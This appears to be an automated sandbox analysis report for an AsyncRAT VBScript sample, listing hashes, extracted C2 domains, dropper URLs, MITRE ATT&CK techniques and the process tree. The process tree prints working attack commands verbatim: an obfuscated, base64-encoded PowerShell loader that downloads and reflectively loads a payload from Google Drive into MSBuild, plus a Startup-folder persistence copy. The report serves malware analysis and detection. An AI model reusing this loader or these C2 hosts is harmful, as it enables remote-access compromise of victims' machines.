asyncrat | dcd8eb05de5d4e76fbadf6cf6ffa17f72e6feba0ab79ea57ec2f507d838c1626

General

Target

06112024_0054_110424.vbs
Size

140KB
MD5

b551d6e65cb8770641782a1c9fea2d46
SHA1

913f33925e21db15d167574c6d29e612641c24f5
SHA256

dcd8eb05de5d4e76fbadf6cf6ffa17f72e6feba0ab79ea57ec2f507d838c1626
SHA512

660b54552fc52f6195db34af7fa8d2fcfb05a0c7b97822cf654dd8360e83e3d416235c44050581a470cc01348583a56154fb55665c60a48cc1df2c8bc3707eb9
SSDEEP

1536:ZirfBgt5pzEGw+jDKVRs8UH12oaz+MXdVyagPI1lNyU:ZirZgt5pIGwS8RsXVTahdVyagPIPNd

Score

10^/10

asyncrat 11-4-24 discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Extracted

Family

asyncrat

Botnet

11-4-24

C2

egghold.duckdns.org:2011

exgi.duckdns.org:2011

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	1344	powershell.exe
27	1344	powershell.exe
34	1344	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4692	powershell.exe
1344	powershell.exe
2280	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cuqueiro.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cuqueiro.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	drive.google.com
25	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1344 set thread context of 4560	1344	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2592	PING.EXE
4336	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2592	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4692	powershell.exe
4692	powershell.exe
2280	powershell.exe
2280	powershell.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	4560	MSBuild.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 4336	4224	WScript.exe	84
PID 4224 wrote to memory of 4336	4224	WScript.exe	84
PID 4336 wrote to memory of 2592	4336	cmd.exe	86
PID 4336 wrote to memory of 2592	4336	cmd.exe	86
PID 4336 wrote to memory of 4692	4336	cmd.exe	95
PID 4336 wrote to memory of 4692	4336	cmd.exe	95
PID 4224 wrote to memory of 2280	4224	WScript.exe	98
PID 4224 wrote to memory of 2280	4224	WScript.exe	98
PID 2280 wrote to memory of 1344	2280	powershell.exe	100
PID 2280 wrote to memory of 1344	2280	powershell.exe	100
PID 1344 wrote to memory of 2872	1344	powershell.exe	101
PID 1344 wrote to memory of 2872	1344	powershell.exe	101
PID 1344 wrote to memory of 2872	1344	powershell.exe	101
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102
PID 1344 wrote to memory of 4560	1344	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orieuquc.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orieuquc.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SUVYICgoKCdqZ1lpbWFnZVVybCA9IFdwWmh0dHBzOi8vZCcrJ3JpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MScrJ1V5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIFdwWjtqZ1l3ZWJDbGknKydlbnQgJysnPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2pnWWltYWdlQnl0ZXMgPSBqZ1l3ZWJDbGllbnQuRG93bmxvYWREYXRhKGpnWWltYWdlVXJsKTtqZ1lpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhqZ1lpbWFnZUJ5dGVzKTtqZ1lzdGFydEZsYWcgPSBXcFo8PEJBU0U2NF9TVEFSVD4+V3BaO2pnWWVuZEZsYWcgPSBXcFo8PEJBU0U2NF9FTkQ+PldwWjtqZ1lzdGFydEluZGV4ID0gamdZaW1hZ2VUZXh0LkluZGV4T2YoamdZc3RhcnRGbGFnKTtqZ1llbmRJbmRleCAnKyc9IGpnWWltYWdlVGV4dC5JbmRleE9mKGpnWWVuZEZsYWcpO2pnWXN0YXJ0SW5kZXggLWdlIDAgLWEnKyduZCBqZ1llbmRJbmRleCAtZ3QgamdZc3RhcnRJbmRleDtqZ1lzdGFydEluZGV4ICs9IGpnWXN0YXJ0RmxhZy5MZW5ndGg7amdZYmFzZTY0TGVuZ3RoID0gamdZZW5kSW5kZXggLSBqZ1lzdGFydEluZGV4O2pnWWJhc2U2NENvbW1hbmQgPSBqZ1lpbWFnZVRleHQuU3Vic3RyaW5nKGpnWXN0YXJ0JysnSW5kZXgsIGpnWWJhc2U2NExlbmd0aCk7amdZYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoamdZYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIGI1dyBGb3JFYWNoLU9iamVjdCB7IGpnWV8gfSlbLTEuLicrJy0oamcnKydZYmFzZTY0Q29tbWEnKyduZC5MZW5ndGgpXTtqZ1ljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGpnWWJhcycrJ2U2NFJlJysndmVyc2VkKTtqZ1lsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoamdZY29tbWFuZEJ5dGUnKydzKTtqZ1l2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFdwWlZBSVdwWik7amdZdmFpTWV0aG9kLkludm9rZShqZ1ludWxsLCBAKFdwWnR4dC4yeDQyNDAxMS92bycrJ24nKycvcmguJysnZWVyZi5uZWdhdGFkdGZvcy5sbGVibScrJ2FjbG9zLy86c3B0JysndGhXcFosIFdwWmRlc2F0aXZhJysnZG9XcFosIFcnKydwWmRlc2F0aXZhZG9XcFosIFdwWmRlc2F0aXZhZG9XJysncFosIFdwWk1TQnVpbGRXcFosIFdwWmRlc2F0aXZhZG9XcFosIFdwWmRlc2F0aXZhZCcrJ29XcFosV3BaZGVzYXRpdmFkb1dwWixXcFpkZXNhdGl2YWRvVycrJ3BaLFdwWmRlc2F0aXZhZG9XcFosV3BaZGVzYXRpJysndmFkb1dwWixXcFpkZXNhdGl2YWRvV3BaLFdwWjFXcFosV3BaZGVzYXRpdmFkb1dwWikpOycpIC1SRVBMYUNlIChbQ0hBcl0xMDYrW0NIQXJdMTAzK1tDSEFyXTg5KSxbQ0hBcl0zNiAgLVJFUExhQ2UnYjV3JyxbQ0hBcl0xMjQgLVJFUExhQ2UgICdXcFonLFtDSEFyXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IEX ((('jgYimageUrl = WpZhttps://d'+'rive.google.com/uc?export=download&id=1'+'UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 WpZ;jgYwebCli'+'ent '+'= New'+'-Object System.Net.WebClient;jgYimageBytes = jgYwebClient.DownloadData(jgYimageUrl);jgYimageText = [System.Text.Encoding]::UTF8.GetString(jgYimageBytes);jgYstartFlag = WpZ<<BASE64_START>>WpZ;jgYendFlag = WpZ<<BASE64_END>>WpZ;jgYstartIndex = jgYimageText.IndexOf(jgYstartFlag);jgYendIndex '+'= jgYimageText.IndexOf(jgYendFlag);jgYstartIndex -ge 0 -a'+'nd jgYendIndex -gt jgYstartIndex;jgYstartIndex += jgYstartFlag.Length;jgYbase64Length = jgYendIndex - jgYstartIndex;jgYbase64Command = jgYimageText.Substring(jgYstart'+'Index, jgYbase64Length);jgYbase64Reversed = -join (jgYbase64Command.ToCharArray() b5w ForEach-Object { jgY_ })[-1..'+'-(jg'+'Ybase64Comma'+'nd.Length)];jgYcommandBytes = [System.Convert]::FromBase64String(jgYbas'+'e64Re'+'versed);jgYloadedAssembly = [System.Reflecti'+'on.Assembly]::Load(jgYcommandByte'+'s);jgYvaiMethod = [dnlib.IO.Home].GetMethod(WpZVAIWpZ);jgYvaiMethod.Invoke(jgYnull, @(WpZtxt.2x424011/vo'+'n'+'/rh.'+'eerf.negatadtfos.llebm'+'aclos//:spt'+'thWpZ, WpZdesativa'+'doWpZ, W'+'pZdesativadoWpZ, WpZdesativadoW'+'pZ, WpZMSBuildWpZ, WpZdesativadoWpZ, WpZdesativad'+'oWpZ,WpZdesativadoWpZ,WpZdesativadoW'+'pZ,WpZdesativadoWpZ,WpZdesati'+'vadoWpZ,WpZdesativadoWpZ,WpZ1WpZ,WpZdesativadoWpZ));') -REPLaCe ([CHAr]106+[CHAr]103+[CHAr]89),[CHAr]36 -REPLaCe'b5w',[CHAr]124 -REPLaCe 'WpZ',[CHAr]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2872
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e243a38635ff9a06c87c2a61a2200656

SHA1
ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

SHA256
af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

SHA512
4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
38e5089467a8edfafa0257b6514a518c

SHA1
ee96f25e9676006a4f820ce18d57250fe5fb8615

SHA256
e1ab8a20871108b2f2dd9a3e720f9c9a9f59ae8924632beaa010b16b1610b151

SHA512
a037ede2734eeb731d0d0b2915f9b617dde94185135fc36c47f6925e2602f9334832bfec74dda0fbfbf82a145e748dbf80b4e093055009bc59071948c77b1adb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rdrmsiaa.suh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1344-38-0x0000022961E10000-0x0000022961F68000-memory.dmp

Filesize
1.3MB

Download
memory/4560-47-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/4560-46-0x0000000006370000-0x0000000006914000-memory.dmp

Filesize
5.6MB

Download
memory/4560-45-0x0000000005D20000-0x0000000005DBC000-memory.dmp

Filesize
624KB

Download
memory/4560-39-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4692-12-0x00007FFB32820000-0x00007FFB332E1000-memory.dmp

Filesize
10.8MB

Download
memory/4692-17-0x00007FFB32820000-0x00007FFB332E1000-memory.dmp

Filesize
10.8MB

Download
memory/4692-16-0x00007FFB32820000-0x00007FFB332E1000-memory.dmp

Filesize
10.8MB

Download
memory/4692-13-0x00007FFB32820000-0x00007FFB332E1000-memory.dmp

Filesize
10.8MB

Download
memory/4692-1-0x00007FFB32823000-0x00007FFB32825000-memory.dmp

Filesize
8KB

Download
memory/4692-7-0x000001C82A730000-0x000001C82A752000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads